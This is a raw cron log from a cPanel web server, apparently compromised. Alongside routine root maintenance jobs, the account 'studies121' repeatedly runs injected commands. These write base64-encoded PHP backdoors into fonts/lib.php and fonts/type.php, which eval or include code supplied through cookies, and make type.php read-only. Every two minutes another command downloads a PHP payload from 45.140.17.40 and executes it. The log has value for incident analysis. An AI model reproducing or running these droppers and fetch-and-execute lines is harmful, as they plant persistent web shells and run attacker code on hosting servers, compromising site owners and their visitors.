Sep  6 23:10:01 ip-184-168-122-23 CROND[10331]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 23:10:01 ip-184-168-122-23 CROND[10332]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 23:10:01 ip-184-168-122-23 CROND[10333]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 23:10:01 ip-184-168-122-23 CROND[10334]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 23:10:01 ip-184-168-122-23 CROND[10337]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 23:10:01 ip-184-168-122-23 CROND[10336]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 23:10:01 ip-184-168-122-23 CROND[10339]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 23:11:01 ip-184-168-122-23 CROND[10425]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 23:11:01 ip-184-168-122-23 CROND[10428]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 23:11:01 ip-184-168-122-23 CROND[10427]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 23:11:01 ip-184-168-122-23 CROND[10429]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 23:12:01 ip-184-168-122-23 CROND[10503]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 23:12:01 ip-184-168-122-23 CROND[10505]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 23:12:01 ip-184-168-122-23 CROND[10507]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 23:12:01 ip-184-168-122-23 CROND[10508]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 23:12:01 ip-184-168-122-23 CROND[10506]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 23:13:01 ip-184-168-122-23 CROND[10593]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 23:13:01 ip-184-168-122-23 CROND[10597]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 23:13:01 ip-184-168-122-23 CROND[10596]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 23:13:01 ip-184-168-122-23 CROND[10598]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 23:14:01 ip-184-168-122-23 CROND[10766]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 23:14:01 ip-184-168-122-23 CROND[10769]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 23:14:01 ip-184-168-122-23 CROND[10768]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 23:14:01 ip-184-168-122-23 CROND[10771]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 23:14:01 ip-184-168-122-23 CROND[10770]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 23:15:01 ip-184-168-122-23 CROND[10853]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 23:15:01 ip-184-168-122-23 CROND[10855]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 23:15:01 ip-184-168-122-23 CROND[10856]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 23:15:01 ip-184-168-122-23 CROND[10858]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 23:15:01 ip-184-168-122-23 CROND[10859]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 23:15:01 ip-184-168-122-23 CROND[10857]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 23:16:01 ip-184-168-122-23 CROND[10946]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 23:16:01 ip-184-168-122-23 CROND[10948]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 23:16:01 ip-184-168-122-23 CROND[10952]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 23:16:01 ip-184-168-122-23 CROND[10951]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 23:16:01 ip-184-168-122-23 CROND[10949]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  6 23:16:01 ip-184-168-122-23 CROND[10954]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 23:17:01 ip-184-168-122-23 CROND[11050]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 23:17:01 ip-184-168-122-23 CROND[11052]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 23:17:01 ip-184-168-122-23 CROND[11056]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 23:17:01 ip-184-168-122-23 CROND[11057]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 23:18:01 ip-184-168-122-23 CROND[11143]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 23:18:01 ip-184-168-122-23 CROND[11145]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 23:18:01 ip-184-168-122-23 CROND[11146]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 23:18:01 ip-184-168-122-23 CROND[11147]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 23:18:01 ip-184-168-122-23 CROND[11148]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 23:19:01 ip-184-168-122-23 CROND[11320]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 23:19:01 ip-184-168-122-23 CROND[11322]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 23:19:01 ip-184-168-122-23 CROND[11323]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 23:19:01 ip-184-168-122-23 CROND[11321]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 23:20:01 ip-184-168-122-23 CROND[11416]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 23:20:01 ip-184-168-122-23 CROND[11415]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  6 23:20:01 ip-184-168-122-23 CROND[11419]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 23:20:01 ip-184-168-122-23 CROND[11421]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 23:20:01 ip-184-168-122-23 CROND[11422]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 23:20:01 ip-184-168-122-23 CROND[11423]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 23:20:01 ip-184-168-122-23 CROND[11424]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 23:20:01 ip-184-168-122-23 CROND[11425]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 23:20:01 ip-184-168-122-23 CROND[11426]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 23:21:01 ip-184-168-122-23 CROND[11529]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 23:21:01 ip-184-168-122-23 CROND[11531]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 23:21:01 ip-184-168-122-23 CROND[11533]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 23:21:01 ip-184-168-122-23 CROND[11532]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 23:22:01 ip-184-168-122-23 CROND[11613]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 23:22:01 ip-184-168-122-23 CROND[11615]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 23:22:01 ip-184-168-122-23 CROND[11618]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
